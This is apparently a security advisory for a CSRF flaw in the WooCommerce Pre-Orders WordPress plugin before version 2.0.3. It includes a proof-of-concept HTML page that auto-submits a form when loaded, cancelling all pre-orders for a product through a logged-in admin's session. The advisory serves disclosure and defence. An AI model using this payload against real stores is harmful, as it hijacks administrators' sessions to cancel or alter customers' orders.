WooCommerce Pre-Orders < 2.0.3 – Unauthorised Actions via CSRF

Description

The plugin has a flawed CSRF check when processing its tab actions, which could allow attackers to make logged in admins email pre-orders customer, change the released date, mark all pre-orders of a specific product as complete or cancel via CSRF attacks

Proof of Concept

Make a logged in admin open an HTML page with the form below (this will cancel all pre-orders for the product with ID 777)

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=wc_pre_orders&tab=actions" method="POST">
        <input type="text" name="wc_pre_orders_action" value="cancel">
        <input type="text" name="wc_pre_orders_action_product" value="777">
        <input type="submit" value="submit">
    </form>
</body>